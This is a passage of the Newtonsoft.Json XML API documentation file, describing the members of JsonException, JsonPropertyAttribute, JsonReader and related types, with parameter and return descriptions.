cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SkipAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously skips the children of the current token.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no 